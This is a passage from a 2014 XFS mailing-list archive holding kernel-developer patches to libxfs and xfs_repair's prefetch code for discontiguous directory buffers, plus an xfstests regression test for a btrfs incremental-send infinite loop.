ASSERT(bp->b_map[i].bm_len == map[i].bm_len); - error = __read_buf(fd, buf, len, offset, flags); if (error) { bp->b_error = error; @@ -787,7 +779,7 @@ libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, if ((bp->b_flags & (LIBXFS_B_UPTODATE|LIBXFS_B_DIRTY))) return bp; - error = libxfs_readbufr_map(btp, bp, map, nmaps, flags); + error = libxfs_readbufr_map(btp, bp, flags); if (!error) { bp->b_flags |= LIBXFS_B_UPTODATE; if (bp->b_ops) -- 1.8.4.rc3 From dave@fromorbit.com Thu Jan 23 17:21:40 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E30EB7F96 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 17:21:39 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 67E57AC006 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:21:36 -0800 (PST) X-ASG-Debug-ID: 1390519293-04cb6c31f58cd90001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id hiESTMss6qe81Oui for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:21:34 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmsGADaj4VJ5LGaB/2dsb2JhbABagwy+VRd0giUBAQVWMwgYMTkDGxmIBMcUF5M/BKJxh0qDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Jan 2014 09:51:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6TaT-0006Pt-Jf for xfs@oss.sgi.com; Fri, 24 Jan 2014 10:21:29 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6TaT-0008Bv-Iu for xfs@oss.sgi.com; Fri, 24 Jan 2014 10:21:29 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH 1/3] libxfs: add a flags field to libxfs_getbuf_map Date: Fri, 24 Jan 2014 10:21:22 +1100 X-ASG-Orig-Subj: [PATCH 1/3] libxfs: add a flags field to libxfs_getbuf_map Message-Id: <1390519284-31440-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390519284-31440-1-git-send-email-david@fromorbit.com> References: <1390519284-31440-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390519293 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144409 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner <dchinner@redhat.com> It will be needed to make the repair prefetch code aware of compound buffers. Signed-off-by: Dave Chinner <dchinner@redhat.com> Reviewed-by: Brian Foster <bfoster@redhat.com> --- include/libxfs.h | 8 ++++---- libxfs/rdwr.c | 15 +++++++++------ libxfs/trans.c | 4 ++-- 3 files changed, 15 insertions(+), 12 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 4bf331c..2872410 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -392,9 +392,9 @@ extern struct cache_operations libxfs_bcache_operations; #define libxfs_getbuf(dev, daddr, len) \ libxfs_trace_getbuf(__FUNCTION__, __FILE__, __LINE__, \ (dev), (daddr), (len)) -#define libxfs_getbuf_map(dev, map, nmaps) \ +#define libxfs_getbuf_map(dev, map, nmaps, flags) \ libxfs_trace_getbuf_map(__FUNCTION__, __FILE__, __LINE__, \ - (dev), (map), (nmaps)) + (dev), (map), (nmaps), (flags)) #define libxfs_getbuf_flags(dev, daddr, len, flags) \ libxfs_trace_getbuf_flags(__FUNCTION__, __FILE__, __LINE__, \ (dev), (daddr), (len), (flags)) @@ -412,7 +412,7 @@ extern int libxfs_trace_writebuf(const char *, const char *, int, extern xfs_buf_t *libxfs_trace_getbuf(const char *, const char *, int, struct xfs_buftarg *, xfs_daddr_t, int); extern xfs_buf_t *libxfs_trace_getbuf_map(const char *, const char *, int, - struct xfs_buftarg *, struct xfs_buf_map *, int); + struct xfs_buftarg *, struct xfs_buf_map *, int, int); extern xfs_buf_t *libxfs_trace_getbuf_flags(const char *, const char *, int, struct xfs_buftarg *, xfs_daddr_t, int, unsigned int); extern void libxfs_trace_putbuf (const char *, const char *, int, @@ -427,7 +427,7 @@ extern xfs_buf_t *libxfs_readbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, extern int libxfs_writebuf(xfs_buf_t *, int); extern xfs_buf_t *libxfs_getbuf(struct xfs_buftarg *, xfs_daddr_t, int); extern xfs_buf_t *libxfs_getbuf_map(struct xfs_buftarg *, - struct xfs_buf_map *, int); + struct xfs_buf_map *, int, int); extern xfs_buf_t *libxfs_getbuf_flags(struct xfs_buftarg *, xfs_daddr_t, int, unsigned int); extern void libxfs_putbuf (xfs_buf_t *); diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 0219a08..bf92788 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -203,7 +203,8 @@ xfs_buf_t *libxfs_readbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, int, int, const struct xfs_buf_ops *); int libxfs_writebuf(xfs_buf_t *, int); xfs_buf_t *libxfs_getbuf(struct xfs_buftarg *, xfs_daddr_t, int); -xfs_buf_t *libxfs_getbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, int); +xfs_buf_t *libxfs_getbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, + int, int); xfs_buf_t *libxfs_getbuf_flags(struct xfs_buftarg *, xfs_daddr_t, int, unsigned int); void libxfs_putbuf (xfs_buf_t *); @@ -255,9 +256,10 @@ libxfs_trace_getbuf(const char *func, const char *file, int line, xfs_buf_t * libxfs_trace_getbuf_map(const char *func, const char *file, int line, - struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps) + struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, + int flags) { - xfs_buf_t *bp = libxfs_getbuf_map(btp, map, nmaps); + xfs_buf_t *bp = libxfs_getbuf_map(btp, map, nmaps, flags); __add_trace(bp, func, file, line); return bp; } @@ -582,7 +584,8 @@ libxfs_getbuf(struct xfs_buftarg *btp, xfs_daddr_t blkno, int len) } struct xfs_buf * -libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps) +libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, + int nmaps, int flags) { struct xfs_bufkey key = {0}; int i; @@ -595,7 +598,7 @@ libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps) key.map = map; key.nmaps = nmaps; - return __cache_lookup(&key, 0); + return __cache_lookup(&key, flags); } void @@ -775,7 +778,7 @@ libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, return libxfs_readbuf(btp, map[0].bm_bn, map[0].bm_len, flags, ops); - bp = libxfs_getbuf_map(btp, map, nmaps); + bp = libxfs_getbuf_map(btp, map, nmaps, 0); if (!bp) return NULL; diff --git a/libxfs/trans.c b/libxfs/trans.c index 6a05673..6c9d202 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -511,7 +511,7 @@ libxfs_trans_get_buf_map( xfs_buf_log_item_t *bip; if (tp == NULL) - return libxfs_getbuf_map(btp, map, nmaps); + return libxfs_getbuf_map(btp, map, nmaps, 0); bp = xfs_trans_buf_item_match(tp, btp, map, nmaps); if (bp != NULL) { @@ -522,7 +522,7 @@ libxfs_trans_get_buf_map( return bp; } - bp = libxfs_getbuf_map(btp, map, nmaps); + bp = libxfs_getbuf_map(btp, map, nmaps, 0); if (bp == NULL) return NULL; #ifdef XACT_DEBUG -- 1.8.4.rc3 From dave@fromorbit.com Thu Jan 23 17:21:41 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E9F0B7F9C for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 17:21:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C80A6304048 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:21:37 -0800 (PST) X-ASG-Debug-ID: 1390519293-04cb6c31f58cd90002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id EJVc7xD92tbQf9CW for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:21:35 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmoNADaj4VJ5LGaB/2dsb2JhbABagww4jS2aCwOWYhd0gwI7gQIDiDgOmzSraY0FghiEIgSqO4E/ggIo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Jan 2014 09:51:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6TaT-0006Ps-J4 for xfs@oss.sgi.com; Fri, 24 Jan 2014 10:21:29 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6TaT-0008Bs-I5 for xfs@oss.sgi.com; Fri, 24 Jan 2014 10:21:29 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH 0/3 V2] repair: discontiguous directory block support Date: Fri, 24 Jan 2014 10:21:21 +1100 X-ASG-Orig-Subj: [PATCH 0/3 V2] repair: discontiguous directory block support Message-Id: <1390519284-31440-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390519295 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA717 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144409 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_SA717 Custom Rule BSF_SC0_SA717 Hi folks, This is version 2 of the patchset first posted here: http://oss.sgi.com/archives/xfs/2014-01/msg00341.html Version 2 changes: - rework extent tracking logic in discontiguous block support as requested by Brain. (patch 3/3) Cheers, Dave. From dave@fromorbit.com Thu Jan 23 17:21:42 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9C7477F9D for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 17:21:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5C0C58F8040 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:21:38 -0800 (PST) X-ASG-Debug-ID: 1390519295-04bdf030ebd2f60001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id dfZFaJuvda3J7Mrp for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:21:36 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmsGADaj4VJ5LGaB/2dsb2JhbABSCIMMvlUXdIIlAQEFJy8zCBgxOQMbGYgExxQXjiqFFQSqO4NBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Jan 2014 09:51:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6TaT-0006Pv-Kw for xfs@oss.sgi.com; Fri, 24 Jan 2014 10:21:29 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6TaT-0008C5-K9 for xfs@oss.sgi.com; Fri, 24 Jan 2014 10:21:29 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH 3/3] repair: fix discontiguous directory block support Date: Fri, 24 Jan 2014 10:21:24 +1100 X-ASG-Orig-Subj: [PATCH 3/3] repair: fix discontiguous directory block support Message-Id: <1390519284-31440-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390519284-31440-1-git-send-email-david@fromorbit.com> References: <1390519284-31440-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390519295 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144409 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner <dchinner@redhat.com> xfs/291 tests fragmented multi-block directories, and xfs_repair throws lots of lookup badness errors in phase 3: - agno = 1 7fa3d2758740: Badness in key lookup (length) bp=(bno 0x1e040, len 4096 bytes) key=(bno 0x1e040, len 16384 bytes) - agno = 2 7fa3d2758740: Badness in key lookup (length) bp=(bno 0x2d0e8, len 4096 bytes) key=(bno 0x2d0e8, len 16384 bytes) 7fa3d2758740: Badness in key lookup (length) bp=(bno 0x2d068, len 4096 bytes) key=(bno 0x2d068, len 16384 bytes) - agno = 3 7fa3d2758740: Badness in key lookup (length) bp=(bno 0x39130, len 4096 bytes) key=(bno 0x39130, len 16384 bytes) 7fa3d2758740: Badness in key lookup (length) bp=(bno 0x391b0, len 4096 bytes) key=(bno 0x391b0, len 16384 bytes) 7fa3d2758740: Badness in key lookup (length) This is because it is trying to read a directory buffer in full (16k), but is finding a single 4k block in the cache instead. The opposite is happening in phase 6 - phase 6 is trying to read 4k buffers but is finding a 16k buffer there instead. The problem is caused by the fact that directory buffers can be represented as compound buffers or as individual buffers depending on the code reading the directory blocks. The main problem is that the IO prefetch code doesn't understand compound buffers, so teach it about compound buffers to make the problem go away. Signed-off-by: Dave Chinner <dchinner@redhat.com> --- repair/prefetch.c | 120 ++++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 99 insertions(+), 21 deletions(-) diff --git a/repair/prefetch.c b/repair/prefetch.c index d3491da..984beda 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -105,11 +105,12 @@ pf_start_io_workers( static void pf_queue_io( prefetch_args_t *args, - xfs_fsblock_t fsbno, - int blen, + struct xfs_buf_map *map, + int nmaps, int flag) { - xfs_buf_t *bp; + struct xfs_buf *bp; + xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, map[0].bm_bn); /* * Never block on a buffer lock here, given that the actual repair @@ -117,8 +118,7 @@ pf_queue_io( * the lock holder is either reading it from disk himself or * completely overwriting it this behaviour is perfectly fine. */ - bp = libxfs_getbuf_flags(mp->m_dev, XFS_FSB_TO_DADDR(mp, fsbno), - XFS_FSB_TO_BB(mp, blen), LIBXFS_GETBUF_TRYLOCK); + bp = libxfs_getbuf_map(mp->m_dev, map, nmaps, LIBXFS_GETBUF_TRYLOCK); if (!bp) return; @@ -167,6 +167,14 @@ pf_read_bmbt_reclist( xfs_bmbt_irec_t irec; xfs_dfilblks_t cp = 0; /* prev count */ xfs_dfiloff_t op = 0; /* prev offset */ +#define MAP_ARRAY_SZ 4 + struct xfs_buf_map map_array[MAP_ARRAY_SZ]; + struct xfs_buf_map *map = map_array; + int max_extents = MAP_ARRAY_SZ; + int nmaps = 0;; + unsigned int len = 0; + int ret = 0; + for (i = 0; i < numrecs; i++) { libxfs_bmbt_disk_get_all(rp + i, &irec); @@ -174,11 +182,11 @@ pf_read_bmbt_reclist( if (((i > 0) && (op + cp > irec.br_startoff)) || (irec.br_blockcount == 0) || (irec.br_startoff >= fs_max_file_offset)) - return 0; + goto out_free; if (!verify_dfsbno(mp, irec.br_startblock) || !verify_dfsbno(mp, irec.br_startblock + irec.br_blockcount - 1)) - return 0; + goto out_free; if (!args->dirs_only && ((irec.br_startoff + irec.br_blockcount) >= mp->m_dirfreeblk)) @@ -188,18 +196,59 @@ pf_read_bmbt_reclist( cp = irec.br_blockcount; while (irec.br_blockcount) { - unsigned int len; + unsigned int bm_len; pftrace("queuing dir extent in AG %d", args->agno); - len = (irec.br_blockcount > mp->m_dirblkfsbs) ? - mp->m_dirblkfsbs : irec.br_blockcount; - pf_queue_io(args, irec.br_startblock, len, B_DIR_META); - irec.br_blockcount -= len; - irec.br_startblock += len; + if (len + irec.br_blockcount >= mp->m_dirblkfsbs) + bm_len = mp->m_dirblkfsbs - len; + else + bm_len = irec.br_blockcount; + len += bm_len; + + map[nmaps].bm_bn = XFS_FSB_TO_DADDR(mp, + irec.br_startblock); + map[nmaps].bm_len = XFS_FSB_TO_BB(mp, bm_len); + nmaps++; + + if (len == mp->m_dirblkfsbs) { + pf_queue_io(args, map, nmaps, B_DIR_META); + len = 0; + nmaps = 0; + } + + irec.br_blockcount -= bm_len; + irec.br_startblock += bm_len; + + /* + * Handle very fragmented dir2 blocks with dynamically + * allocated buffer maps. + */ + if (nmaps >= max_extents) { + struct xfs_buf_map *old_map = NULL; + + if (map == map_array) { + old_map = map; + map = NULL; + } + max_extents *= 2; + map = realloc(map, max_extents * sizeof(*map)); + if (map == NULL) { + do_error( + _("couldn't malloc dir2 buffer list\n")); + exit(1); + } + if (old_map) + memcpy(map, old_map, sizeof(map_array)); + } + } } - return 1; + ret = 1; +out_free: + if (map != map_array) + free(map); + return ret; } /* @@ -395,9 +444,28 @@ pf_read_inode_dirs( } /* - * pf_batch_read must be called with the lock locked. + * Discontiguous buffers require multiple IOs to fill, so we can't use any + * linearising, hole filling algorithms on them to avoid seeks. Just remove them + * for the prefetch queue and read them straight into the cache and release + * them. */ +static void +pf_read_discontig( + struct prefetch_args *args, + struct xfs_buf *bp) +{ + if (!btree_delete(args->io_queue, XFS_DADDR_TO_FSB(mp, bp->b_bn))) + do_error(_("prefetch corruption\n")); + + pthread_mutex_unlock(&args->lock); + libxfs_readbufr_map(mp->m_ddev_targp, bp, 0); + libxfs_putbuf(bp); + pthread_mutex_lock(&args->lock); +} +/* + * pf_batch_read must be called with the lock locked. + */ static void pf_batch_read( prefetch_args_t *args, @@ -426,8 +494,15 @@ pf_batch_read( max_fsbno = fsbno + pf_max_fsbs; } while (bplist[num] && num < MAX_BUFS && fsbno < max_fsbno) { - if (which != PF_META_ONLY || - !B_IS_INODE(XFS_BUF_PRIORITY(bplist[num]))) + /* + * Handle discontiguous buffers outside the seek + * optimised IO loop below. + */ + if ((bplist[num]->b_flags & LIBXFS_B_DISCONTIG)) { + pf_read_discontig(args, bplist[num]); + bplist[num] = NULL; + } else if (which != PF_META_ONLY || + !B_IS_INODE(XFS_BUF_PRIORITY(bplist[num]))) num++; if (num == MAX_BUFS) break; @@ -664,10 +739,13 @@ pf_queuing_worker( bno = XFS_AGINO_TO_AGBNO(mp, cur_irec->ino_startnum); do { - pf_queue_io(args, XFS_AGB_TO_FSB(mp, args->agno, bno), - blks_per_cluster, - (cur_irec->ino_isa_dir != 0) ? - B_DIR_INODE : B_INODE); + struct xfs_buf_map map; + + map.bm_bn = XFS_AGB_TO_DADDR(mp, args->agno, bno); + map.bm_len = XFS_FSB_TO_BB(mp, blks_per_cluster); + pf_queue_io(args, &map, 1, + (cur_irec->ino_isa_dir != 0) ? B_DIR_INODE + : B_INODE); bno += blks_per_cluster; num_inos += inodes_per_cluster; } while (num_inos < XFS_IALLOC_INODES(mp)); -- 1.8.4.rc3 From fdmanana@gmail.com Thu Jan 23 17:38:30 2014 Return-Path: <fdmanana@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8A5AB29E0F for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 17:38:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 65A1E8F8037 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:38:30 -0800 (PST) X-ASG-Debug-ID: 1390520308-04cbb05babc4ab0001-NocioJ Received: from mail-we0-f180.google.com (mail-we0-f180.google.com [74.125.82.180]) by cuda.sgi.com with ESMTP id Kc5zpl5GxUJCWz5V (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:38:29 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.180 Received: by mail-we0-f180.google.com with SMTP id q59so1958319wes.39 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:38:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=8xLtRHx6/+N8kPjb/TuNUC/c+NjIbJRF+UTYqMxIGeo=; b=C8HWtTaZjXhpI0FH16k3XqdPvQZv2qcyWrFsd6bqwq/78K8iudXEJW0w0GSXBzqZzk YEutuFmb1W0LRJhwh/YXKAUgzPtnxlNNe4GVXO8iug/FmHKC9gCxPvMvV0W/eg9yrVpT imN2y9zF8LbyuGyabQ0IYX8PaNG2anEsZOCWMrq6w/UmrJ4fprwNXGACmrK4ojXLGQ18 dwtHRT+ij72gqqdpvcjdn/sKCokSU6UnYrEifDMhLqSx5zYwpN8FIsqLuuUomxVWWq+q FkOGuqbX/XK3i4rRO5lHMGY5EfmKwXJh7ZiGEE0+Gi/mMZOCCmQuLsZux0Vm3+b6AVJo u8Gg== X-Received: by 10.180.12.146 with SMTP id y18mr983782wib.37.1390520307850; Thu, 23 Jan 2014 15:38:27 -0800 (PST) Received: from storm-desktop.lan (bl10-142-212.dsl.telepac.pt. [85.243.142.212]) by mx.google.com with ESMTPSA id bj3sm26228834wjb.14.2014.01.23.15.38.22 for <multiple recipients> (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 23 Jan 2014 15:38:27 -0800 (PST) From: Filipe David Borba Manana <fdmanana@gmail.com> To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana <fdmanana@gmail.com> Subject: [PATCH v3] xfstests: add test for btrfs incremental send infinite loop issue Date: Thu, 23 Jan 2014 23:38:00 +0000 X-ASG-Orig-Subj: [PATCH v3] xfstests: add test for btrfs incremental send infinite loop issue Message-Id: <1390520280-19282-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1390348610-8098-1-git-send-email-fdmanana@gmail.com> References: <1390348610-8098-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-we0-f180.google.com[74.125.82.180] X-Barracuda-Start-Time: 1390520308 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144409 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for btrfs' incremental send feature: 1) Create several nested directories; 2) Create a read only snapshot; 3) Change the parentship of some of the deepest directories in a reverse way, so that parents become children and children become parents; 4) Create another read only snapshot and use it for an incremental send relative to the first snapshot. At step 4 btrfs' send entered an infinite loop, increasing the memory it used while building path strings until a krealloc was unable to allocate more memory, which caused a warning dump in dmesg. The following linux kernel patch fixes this issue. Btrfs: fix infinite path build loops in incremental send (https://patchwork.kernel.org/patch/3522361/) Signed-off-by: Filipe David Borba Manana <fdmanana@gmail.com> --- V2: Updated test to trigger one more code path in the corresponding btrfs linux kernel patch that fixes this issue. V3: Addressed Josef's comments, make the test not depend on 'btrfs send' and fssum output, as it changed often in the past and can change again. tests/btrfs/030 | 149 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/030.out | 1 + tests/btrfs/group | 1 + 3 files changed, 151 insertions(+) create mode 100755 tests/btrfs/030 create mode 100644 tests/btrfs/030.out diff --git a/tests/btrfs/030 b/tests/btrfs/030 new file mode 100755 index 0000000..6678ed8 --- /dev/null +++ b/tests/btrfs/030 @@ -0,0 +1,149 @@ +#! /bin/bash +# FS QA Test No. btrfs/030 +# +# Regression test for btrfs' incremental send feature: +# +# 1) Create several nested directories; +# 2) Create a read only snapshot; +# 3) Change the parentship of some of the deepest directories in a reverse +# way, so that parents become children and children become parents; +# 4) Create another read only snapshot and use it for an incremental send +# relative to the first snapshot. +# +# At step 4 btrfs' send entered an infinite loop, increasing the memory it +# used while building path strings until a krealloc was unable to allocate +# more memory, which caused a warning dump in dmesg. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + + +mkdir -p $SCRATCH_MNT/a/b/c +echo "hello" > $SCRATCH_MNT/a/b/c/file.txt +mkdir $SCRATCH_MNT/a/b/c/d +mkdir $SCRATCH_MNT/a/b/c2 +mkdir $SCRATCH_MNT/a/b/www +echo "hey" > $SCRATCH_MNT/a/b/foobar.txt +mkdir -p $SCRATCH_MNT/a/b/c3/x/y + +# Directory tree looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 259) +# | |-- file.txt (ino 260) +# | |-- d/ (ino 261) +# | +# |-- c2/ (ino 262) +# |-- 